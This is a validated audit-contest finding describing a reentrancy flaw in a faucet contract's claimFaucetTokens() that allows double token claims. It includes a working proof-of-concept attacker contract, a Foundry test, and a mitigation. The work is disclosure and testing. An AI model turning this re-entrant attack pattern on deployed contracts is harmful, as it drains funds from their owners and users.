Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy vulnerability allows token claim doubling through improper state update ordering

Description:

The claimFaucetTokens() function updates critical state variables (lastClaimTime and dailyClaimCount) after making an external ETH transfer to the caller. This violates the Checks-Effects-Interactions pattern and creates a reentrancy window:

function claimFaucetTokens() public {
// ... checks ...
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
// Attacker gains control here, but state not yet updated!
}
// Updated AFTER external call
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
_transfer(address(this), faucetClaimer, faucetDrip);
}

While hasClaimedEth is correctly set before the external call (preventing ETH re-claiming), lastClaimTime and dailyClaimCount are not, allowing one reentrant token claim.

Attack path:

  1. Initial claimFaucetTokens() passes all checks

  2. ETH sent → attacker's receive() executes

  3. Reentrant call to claimFaucetTokens() still passes checks because lastClaimTime and dailyClaimCount not yet updated

  4. Reentrant call transfers 1000 tokens

  5. Original call completes, transfers another 1000 tokens

Result: 2000 tokens received instead of 1000 (100% overpayment)

Impact:

Attacker claimed 2x tokens per transaction

PoC

Add this ReentrancyAttackcontract in test folder

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {RaiseBoxFaucet} from "../src/RaiseBoxFaucet.sol";
contract ReentrancyAttack {
RaiseBoxFaucet public faucet;
constructor(address payable _faucet) {
faucet = RaiseBoxFaucet(_faucet);
}
function attack() external {
faucet.claimFaucetTokens();
}
receive() external payable {
faucet.claimFaucetTokens();
}
}

Add this import in RaiseBoxFaucet.t.sol file

import {ReentrancyAttack} from "./Reentancy.sol";

Add this test in RaiseBoxFaucet.t.sol file

function testReentrancyAttackDoubleTokens() public {
// Deploy attack contract
ReentrancyAttack attackContract = new ReentrancyAttack(
payable(raiseBoxFaucetContractAddress)
);
// Record initial state
uint256 initialBalance = raiseBoxFaucet.balanceOf(
address(attackContract)
);
console.log("Initial attacker balance:", initialBalance);
// Execute the attack
attackContract.attack();
uint256 balanceAfterAttack = raiseBoxFaucet.balanceOf(
address(attackContract)
);
console.log("Attacker balance after attack:", balanceAfterAttack);
assertTrue(balanceAfterAttack > 1000 * 10 ** 18);
}

Recommended Mitigation:

Update state before external calls (Checks-Effects-Interactions pattern) or add OpenZeppelin's ReentrancyGuard

Updates

Lead Judging Commences

inallhonesty Lead Judge 16 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.